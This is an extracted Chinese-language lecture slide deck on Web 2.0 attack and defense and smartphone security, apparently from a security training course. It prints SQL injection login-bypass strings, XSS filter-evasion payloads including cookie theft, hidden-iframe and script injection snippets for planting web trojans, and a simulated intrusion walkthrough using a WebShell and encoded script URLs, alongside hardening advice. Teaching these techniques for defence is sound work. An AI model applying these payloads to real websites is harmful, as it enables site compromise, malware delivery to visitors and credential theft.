Microsoft PowerPoint - Web入侵+手機安全_講義.ppt [相容模式]

Size: px

Start display at page:

Download "Microsoft PowerPoint - Web入侵+手機安全_講義.ppt [相容模式]"

劈屯韩
7 years ago
Views:

1 網路攻防戰之 Web 2.0 網站手法與防範

2 大綱 Web Server 入侵手法常見的漏洞利用介紹網頁木馬簡介論壇套件漏洞介紹 SQL Injection & XSS 手法介紹 Web Server 防禦策略駭客攻擊 Web 之阻擋方式惡意連結網站清單建置社群 web2.0 網站之注意事項

3 Web Server 入侵手法 Microsoft 漏洞利用網頁木馬論壇套件漏洞利用 SQL Injection 利用 XSS 利用

4 補充資料 : OWASP 網站 : OWASP Testing Guide v3 英文版下載處簡體中文版下載處 OWASP 测试指南 ( 中文 ).pdf

7 SQL Injection 利用引起的原因為網頁程式設計師在撰寫 asp 或 php 程式的時候, 對呼叫 (ADO 連線 ) 後端資料庫的帳號權限太大, 在加上對特殊字串以及語法沒有過濾或者過濾不完全而導致的其最主要的攻擊目標為資料庫, 以取得下列資訊為主 : 獲取資料庫帳號及密碼獲取作業系統帳號及密碼利用 XP_CmdShell 執行 DOS 指令猜測網頁實體路徑來進行換首頁或上傳 / 下載文件上傳網頁木馬並植入後門

8 SQL 條件式語法漏洞主要出現在登入帳號的 asp 或 php 程式上, 利用這個漏洞就可以不需要帳號密碼進入管理畫面主要為網頁程式設計的瑕疵 : 沒有對單引號或雙引號 '' 進行過濾 SQL 條件式 and or 的邏輯沒有考慮 SQL 語法的 where 子句所傳入的變數沒有檢查 SQL 語法中 - - 是表示該符號之後的語法或參數變成註解語法 : or = or a'or'1=1- - 'or1=1- - ''or1=1- - or1=1- - 'ora ='a or = a = a ')or( a ='a

9 網頁應用程式語法 : 有問題版 sql_cmd = "select * from mydatabase where id='" & Request("id") & "' and passwd='" & Request("passwd") & "' 傳入惡意語法後 sql_cmd = "select * from mydatabase where id='" 'or 1=1 -- "' and passwd='" & Request("passwd") & "' 則變成前面的 where 條件為 1=1 而後面的 password 則因 - - 變成註解, 所以就不用密碼可進入

10 網頁應用程式語法 : 修正版以程式設計的觀點來看, 將表單或查詢字串直接帶入 SQL 語法, 是一切弊病的源頭, 要徹底排除 SQL 資料隱碼攻擊, 必須從根源對症下藥也就是必須在取得表單資料後, 針對單引號進行過濾, 然後再組合為 SQL 語法, 例如 : sql_cmd = "select * from mydatabase where id='" & Request("id") & "' and passwd='" & Request("passwd") & "'" 應該改為 myid = Replace(Request("id"),"'","'+chr(34)+'") mypwd = Replace(Request("passwd"),"'","'+chr(34)+'") sql_cmd = "select * from mydatabase where id='" & myid & "' and passwd='" & mypwd & "'"

11 SQL Injection 相關參考網址 SQL Injection ( 資料隱碼 ) 駭客的 SQL 填空遊戲 G1.htm G2.htm 資料隱碼 SQL Injection 的因應與防範之道 tm ASCII 碼對照表 SQL Injection 檢測工具 ( 無殺傷力 )

13 XSS 利用 Cross Site Scripting(XSS) 跨網站功擊 : XSS 產生的原因是由於網頁程式設計師在撰寫程式時, 對於一些變數沒有充份過濾, 直接把使用者所送出的資料送往 Web Sever 執行這樣的程式流程造成攻擊者可以送出一些特別製造的 Script 語法, 只要成功送往後端執行成功, 便可達成如 : 竊取 cookie 植入網頁木馬等原本不存在的功能

14 XSS 的探測和繞過過濾基本檢測語法 : <script>alert( xss )</script> 如果 <script> 被過濾, 則改用 <img src=javascript:alert( xss )> 如果 javascript: 被過濾, 則用 16 進位的值取代一些關鍵字 <img src= javascrip&#116&#58alert(/xss/) > 也可用空白字元 Tab 添加 <img src= javas cript:alert(/xss/) width=0> 或者用語法的事件與屬性來避免關鍵字被攔截 <img src= # onerror=alert(/xss/)> <img src= # style= xss:expression(alert( xss )); > 例如 :Yahoo Mail 的 XSS 語法 ( 已修正 ) <STYLE onload= alert( cookies exploit! );alert(document.cookie) >

15 網站網頁掛馬語法框架掛馬 : <iframe src= 木馬網址 width=0 height=0></iframe> JScript 文件掛馬 : 首先將以下語法存檔為 xxx.js 然後將此文件利用各種方式上傳到目標處 document.write("<iframe width='0' height='0' src=' 木馬網址 '></iframe>"); 最後 JScript 掛馬的語法為 : <script language=javascript src=xxx.js></script> JScript 變型加密 : <SCRIPT language= JScript.Encode src= muma.txt 可改成任何附檔名 body 掛馬 : <body onload="window.location=' 木馬網址 ';"></body> 隱藏掛馬 : top.document.body.innerhtml = top.document.body.innerhtml + '\r\n<iframe src="

16 CSS 中掛馬 : 先將製作好的 muma.js 先利用各種方式上傳至目標處 body { background-image: url('javascript:document.write("<script src= JAVA 掛馬 : <SCRIPT language=javascript> window.open (" 木馬網址 ","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); </script> 圖片偽裝 : <html> <iframe src=" 網馬網址 " height=0 width=0></iframe> <img src=" 圖片網址 "> </html> 偽裝呼叫 : <frameset rows="444,0" cols="*"> <frame src=" 開啟的網頁 " framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"> <frame src=" 網馬網址 " frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0"> </frameset> 欺騙超連結網址手法 : <a href=" 迷惑他人超連結網址, 故意顯示這個網址卻連向木馬網址 )" onmouseover="www_163_com(); return true;"> 網頁要顯示的內容 </a> <SCRIPT Language="JavaScript"> function www_xyz_com () { var url=" 真正連的網頁木馬網址 "; open(url,"newwindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,r esizable=no,copyhistory=yes,width=800,height=600,left=10,top=10"); } </SCRIPT>

17 XSS 相關參考網址 Cross Site Scripting questions and answers Apache Cross Site Scripting Info How to prevent cross-site scripting security issues Information on Cross-Site Scripting Security Vulnerability rssite.mspx?mfr=true Microsoft Anti-Cross Site Scripting Library V1.0 =9A2B9C92-7AD9-496C-9A89- AF08DE2E5982&displaylang=en

19 論壇套件漏洞利用由於 asp 或 php 簡單易學, 所以網路常常可找尋到相關免費的程式架設論壇網站但由於安裝程式的管理者常忽略需要修改原始設定及安全性選項, 使得依照預設值 ( 瘋狂按下一步就會裝好 ) 的資料便可取得該論壇權限, 進而利用社交工程取得個人資料常利用手法 : Cookie 欺騙爆庫法 : 論壇 DB 爆庫爆庫法 :%5c 路徑爆庫 SQL Injecion XSS 惡意超連結至網頁木馬 DDoS

20 Cookie 欺騙 Cookie 記錄著使用者的帳戶 ID 密碼之類的訊息, 如果在網上傳遞, 通常使用的是 MD5 方法加密這樣經由加密處理後的訊息, 即使被網路上一些別有用心的人截獲, 也看不懂, 因為他看到的只是一些無意義的字母和數字然而, 現在遇到的問題是, 截獲 Cookie 的人不需要知道這些字串的含義, 他們只要把別人的 Cookie 向伺服器提交, 並且能夠通過驗證, 他們就可以冒充受害人的身份, 登陸網站這種方法叫做 Cookie 欺騙手法 : 截獲他人 Cookie 內的帳號與密碼獲取權限, 搭配其它手法進行掛馬等更進一步攻擊

21 模擬案例 :JS 與論壇掛馬入侵過程目標 : 攻陷 XYZ 公司使該公司之客戶植入木馬, 完成後竊取個資觀察 : 該公司除 XYZ 網站外仍在同台 Web Server 中並有架設 Dvbbs 論壇

22 模擬案例 :JS 與論壇掛馬入侵過程入侵前準備 : 製作 MS MS MS 的 Exploits 程式來呼叫木馬於 JavaScript 中撰寫 document.write( <iframe src= 存放 Exploits 的網址 width=0 height=0></iframe> ); 並存檔為 123.js 來呼叫 Exploits 將 123.js 檔案進行變型及加密來避免被防毒軟體查殺最後將 MS MS MS 的 Exploits 程式及製作好的 123.js 檔案放置於之跳板網站內 Muma 的目錄中備用

23 模擬案例 :JS 與論壇掛馬入侵過程入侵中過程 : 利用 Sniffer 技巧於 Dvbbs 論壇中截獲輸入於該論壇的 Cookie 利用該 Cookie 內儲存之帳號與密碼所取得之權限, 搭配論壇上傳程式, 將 WebShell (windows.asp) 上傳至該台 Web Server 的論壇目錄中於中確認 WebShell (windows.asp) 已經成功傳入目的是利用存放於 Dvbbs 論壇中的 WebShell 來將 XYZ 公司的網站掛馬

24 模擬案例 :JS 與論壇掛馬入侵過程入侵中過程 : 撰寫掛馬語法 <script language=javascript src=' 為避免存放 123.js 的跳板網站 URL 網址被阻擋, 將該網址進行 URL 編碼來逃避偵測 <script language=javascript src=' 32%33%2E%31%30%31%2F%6D%75%6D%61/123.js ' > </script> 利用 WebShell (windows.asp) 將語法掛馬後, 查看 XYZ 公司網頁 HTML 原始碼是否有被異動

25 模擬案例 :JS 與論壇掛馬入侵過程入侵後感染 : 當使用者瀏覽 XYZ 公司的網站後, 變會觸發 HTML 內的掛馬語法感染流程 : URL 編碼的掛馬語法轉換跳板網站中的 123.js 解析 JS 內變型及加密的 Exploits 程式網址還原 Exploits 程式網址內的木馬程式植入

26 論壇 DB 爆庫 : 原理 Access 資料庫的儲存隱患 : 在 ASP+Access 應用系統中, 如果能獲得或猜到 Access 資料庫的儲存路徑和資料庫名稱, 則該資料庫就可以被下載到本地例如 : 對於線上書店的 Access 資料庫, 人們一般命名為 book.mdb store.mdb 等, 而存儲的路徑一般為 URL/database 或乾脆放在根目錄 URL/ 之下這樣, 只要在瀏覽器地址欄中輸入網址 : URL/database/store.mdb, 就可以輕易地把 store.mdb 下載到本地的機器中 Access 資料庫的解密隱患 : 由於 Access 資料庫的加密機制非常簡單, 所以即使資料庫設置了密碼, 解密也很容易由此可見, 無論是否設置了資料庫密碼, 只要資料庫被下載, 其資訊就沒有任何安全性可言了

27 論壇 DB 爆庫 : 解決方案非常規命名法 : 不要簡單地命名為 book.mdb 或 store.mdb, 而是要起個非常規的名字, 例如 :faq19jhsvzbal.mdb, 再把它放在如./akkjj16t/kjhgb661/acd/avccx55 之類的深層目錄下使用 ODBC 資料來源 : 使用 ODBC 資料來源, 不要把資料庫名稱直接寫在 ASP 程式碼中, 例如 : DBPath = Server.MapPath(./akkjj16t/kjhgb661/acd/avccx55/faq19jhsvzbal.mdb ) conn.open driver={microsoft Access Driver (*.mdb)}; dbq= & DBPath 改成 : conn.open ODBC-DSN 名稱就不會發生這樣的問題了

28 在 IIS 的設定 : 將放置 Access 資料庫的資料夾 ( 或虛擬目錄 ) 給予寫入但不要給予讀取的權限即可, 如此一來, 就算知道儲存路徑和資料庫名稱, 一樣無法從 Web 下載在主目錄應用程式設定應用程式對應新增執行檔 : C:\WINNT\System32\inetsrv\ism.dll 副檔名 :.mdb 限制於 :GET,POST ( 缺點 : 以後要編修 Access 資料庫, 很容易忘記有鎖權限或鎖副檔名 )

30 Web Server 防禦策略

31 駭客攻擊 Web 之阻擋方式之一駭客知名的官方網站 [ 上傳 ] 具 FSO 功能的網頁木馬首頁不知情的一般使用者跳版網站

32 阻擋策略 : 設備網頁應用程式防火牆封鎖異常來源 IP 入侵偵測系統 IDS/IDP 觀察異常封包服務搜尋引擎的阻擋弱點掃描滲透測試防毒牆 ( 由外到內 ) 阻擋傳入的木馬

33 駭客攻擊 Web 之阻擋方式之二駭客知名的官方網站 [ 上傳 ] 具 FSO 功能的網頁木馬不知情的一般使用者首頁 [ 掛馬 ] 將首頁或其他網頁植入 <ifrme> 隱藏框架引導到跳版網站跳版網站

34 阻擋策略 : 設備 SUS / WSUS 修補系統漏洞 Web DB 的權限控管企業型防毒軟體及防間諜軟體 LOG 及事件分析軟體服務搜尋引擎的阻擋弱點掃描滲透測試程式碼檢測檢視與設定資料夾權限移除不需要及罕用的服務變更系統與 Web 相關預設值 Web 與 DB 的備份軟體

35 駭客攻擊 Web 之阻擋方式之三駭客知名的官方網站不知情的一般使用者首頁跳版網站原生型木馬漏洞型網馬

36 阻擋策略 : 設備網頁應用程式防火牆封鎖異常來源 IP 入侵偵測系統 IDS/IDP 觀察異常封包服務收集易被植入或經常感染的網址成為黑名單防毒牆 ( 由內到外 ) 阻擋傳輸的木馬 Proxy Server 的黑白名單網址過濾或攔截的設備與軟體

37 駭客攻擊 Web 之阻擋方式之四駭客知名的官方網站不知情的一般使用者跳版網站

38 阻擋策略 : 設備 Windows Update / Microsoft Update 修補系統漏洞單機型防毒軟體及防間諜軟體個人單機型防火牆服務善用線上掃毒比對不同防毒本機 HOSTS 惡意網址清單改用其它瀏覽器可以改善 ( 但不能完全避免 ) 網頁瀏覽安全防護軟體個人資料的備份軟體

39 建置社群 web2.0 網站之注意事項一定是程式碼有問題? SSL / https 加密安全 Web2.0 竊取密碼 : 防護措施圖形密碼驗證

40 PHP 程式撰寫上該注意到的事項首先對於安全的認知, 就是外部拉到的資料 ( 使用者送出的資料 ), 都是不安全的, 都要做嚴謹的檢查. 哪些是外部拉到的資料 ( 使用者送出的資料 )? GET: $_GET (Form submit/ 網址列參數 ) POST: $_POST REQUEST: $_REQUEST COOKIE: $_COOKIE JSON/AJAX/ 合作廠商送的資料 / 讀取檔案, 要將資料寫入 DB 的 Data 等.

41 PHP 設定檔 (php.ini) register_global = off ( 全域變數 ) magic_quotes_gpc = off (' => \', " => \", %00 => \ 0) ( 建議 magic_quotes_gpc = off 自己處理 ) display_error = off ( 在網頁上顯示錯誤訊息 ) log_error = on ( 紀錄錯誤訊息 ) allow_url_fopen = off ( 可開啟遠端網頁 ) expose_php = off ( 顯示 PHP 版本資訊 ) open_basedir = ( 允許開啟的目錄 ) safe_mode = on ( 安全模式 ) disable_function = ( 禁止使用的函數 ) safe_mode_include_dir = ( 允許 include 的目錄 )

42 SSL / https SSL: SSL(Secure Sockets Layer) 採用公開金鑰技術, 保證兩個應用間通信的保密性和可靠性, 使客戶與伺服器應用之間的通信不被攻擊者竊聽 HTTPS (Hypertext Transfer Protocol Secure) 是 http 和 SSL/TLS 的組合, 用以提供加密通訊及對網路伺服器身份的鑑定維基百科對於 Https 的說明 :

43 SSL / https 換句話說 : https 只保障瀏覽器與網站之間的利用 SSL 所產生的網路傳輸安全 ; 也就是說, 如果資料 ( 帳號 / 密碼 ) 在傳輸前或傳輸後被竊取, 那是端點的安全控管與資料傳輸一點都無關

44 手機防護

45 手機防護當使用者越來越仰賴 iphone Android 等智慧手機平板電腦, 單位的安全防護網將會面臨有別於傳統的新風險不只要防範鎖定手機伺機入侵的木馬和惡意程式, 還得預防遺失手機而導致資料外洩的風險伴隨著手機進入單位的 3G 網路, 更是輕易跳過內網管制的防線傳統的防護網已經逐漸瓦解, 單位必須正視行動應用帶來的新風險, 才能有效鞏固防護網

46 私人手機成行動安全管理的困境許多 IT 部門主管最傷腦筋的一件事情就是, 現在很多用於企業行動服務的手機都是私人的, 並非公司配發的, 這也造成公司在行動裝置控管上的困難

47 手機越獄不違法但不安全最近接連陸續傳出手機應用程式的安全威脅事件, 就連 Android 官方軟體市集也一連出現了 50 多款通過審查上架的 App 暗藏惡意木馬程式, 迫使 Google 動用遠端刪除權限來移除使用者設備中的惡意程式

48 再加上手機破解越獄被美國政府視為消費者合法使用權力之一, 各種破解工具越來越自動化, 甚至出現全自動的破解 App, 按一個鈕就可以讓 iphone 越獄讓 Android 破解, 使用者可以任意取得管理者權限, 讓智慧手機預設的安全機制防護洞開, 更容易成為惡意程式竊取企業資料的溫床

49 新 Android 惡意軟體會側錄通話內容在手機被感染後, 用戶通話時該軟體就會將通話內容錄音並以.arm 格式存在 SD 記憶卡 /shangzhou/callrecord 目錄中參考資料 :

50 手機防護 :Android 目前已知感染套件如下, 如果您有安裝, 最好趕快解除安裝 Advanced App to SD Advanced Barcode Scanner Advanced Compass Leveler Advanced Currency Converter Advanced File Manager Advanced Sound Manager App Uninstaller Basketball Shot Now Best password safe Bowling Time Bubble Shoot Chess Color Blindness Test Dice Roller Falling Ball Dodge Falling Down Finger Race Funny Face Funny Paint Hilton Sex Sound Hot Sexy Videos Magic Hypnotic Spiral Magic Strobe Light Music Box Omok Five in a Row Photo Editor Piano Quick Delete Contacts Quick Notes Scientific Calculator Screaming Sexy Japanese Girls Sexy Girls: Japanese Sexy Legs Spider Man Super Guitar Solo Super History Eraser Super Ringtone Maker Super Sex Positions Super Sexy Ringtones Super Stopwatch & Timer Supre Bluetooth Transfer Task Killer Pro Tie a Tie 几何战机 _PewPew 下坠滚球 _Falldown 大家来找茬多彩绘画投篮高手致命绝色美腿桌上曲棍球躲避弹球蜘蛛侠裸奔先生 Mr. Runner 墨水坦克 Panzer Panic 掷骰子软件强力卸载資料來源 :

51 手機防護 :Android 解決策略 : 不安裝來路不明的小遊戲或軟體移除不需要或不常用的的小遊戲或軟體安裝防毒軟體或防護程式安裝 Android Market Security Tool

52 資料來源 :

53 手機防護 :Android 當我們有一天在某個咖啡店享用著免費無線網路時, 很開心的登入自己的 Facebook 帳戶, 然後旁邊一個拿著 Android 手機的人, 有可能透過一個叫做 FaceNiff 的 App 輕易獲取我們帳戶的控制權, 然後隨意發表訊息而唯一的解決方法, 就是我們在使用公用無線網路環境時一定要使用加密連線現在 Facebook 等網站服務都已經內建強制 https 加密連線的功能, 一定要記得事先做好設定

54 手機防護 :iphone 解決策略 : 不安裝來路不明的小遊戲或軟體移除不需要或不常用的的小遊戲或軟體安裝防毒軟體或防護程式使用原裝不要越獄或破解 iphone 最容易感染的環境 : 1. 越獄 ( JB, Jailbreak ) 過 2. 安裝了 SSH 且沒有更改預設密碼 3. 喜好在 App Stone 搜尋安裝軟體

56 手機防護 :iphone:itunes & QuickTime itunes / QuickTime 更新 Apple 安全性更新

57 補充資料

58 近期 Joomla & Wordpress 漏洞資料來源 : 解決方法 : 更新版本移除第三方外掛套件與校務系統切割網段檢查資料目錄權限

60 電腦安全性的七大步驟 1. 評估使用電腦的風險, 隨時提高警覺不要亂點選 2. 使用防毒軟體及防間諜軟體, 並搭配線上掃毒 3. 保持更新作業系統及應用程式等軟體為最新狀態 4. 檢查您的作業系統及 IE 安全性設定 5. 使用個人 ( 單機 ) 防火牆 6. 建立穩固的密碼 7. 執行日常工作安全性維護, 例如 : 更新掃毒

61 結論 Web Server 入侵手法常見的漏洞利用介紹網頁木馬簡介論壇套件漏洞介紹 SQL Injection & XSS 手法介紹 Web Server 防禦策略駭客攻擊 Web 之阻擋方式惡意連結網站清單建置社群 web2.0 網站之注意事項

62 講師 : 呂守箴 shooujen@gmail.com 部落格 : 網路攻防戰 : Plurk 噗浪 : FaceBook: 粉絲團 : 網路直播頻道 :

<4D F736F F F696E74202D A67EABD7A7F0A8BEA4E2AA6BBEE3B27AB1B4B0515FC1BFB8712E BACDBAE65BCD2A6A15D>

<4D F736F F F696E74202D A67EABD7A7F0A8BEA4E2AA6BBEE3B27AB1B4B0515FC1BFB8712E BACDBAE65BCD2A6A15D> 2008 年度年度攻防手法整理探討案例 : 利用 WINRAR 壓縮程式漏洞掛馬 1 入侵環境條件 : 具有 MS06-001 wmf 漏洞的電腦安裝 WINRAR 壓縮 / 解壓縮軟體手法探討 : 製造遠端遙控型木馬 ( 原生型木馬 ) 製造 MS06-001 漏洞工具撰寫呼叫 wmf 檔案的掛馬網址使用 WINRAR 製做具有 XSS 的自動解壓縮檔案被害人點選自動解壓縮檔案後植入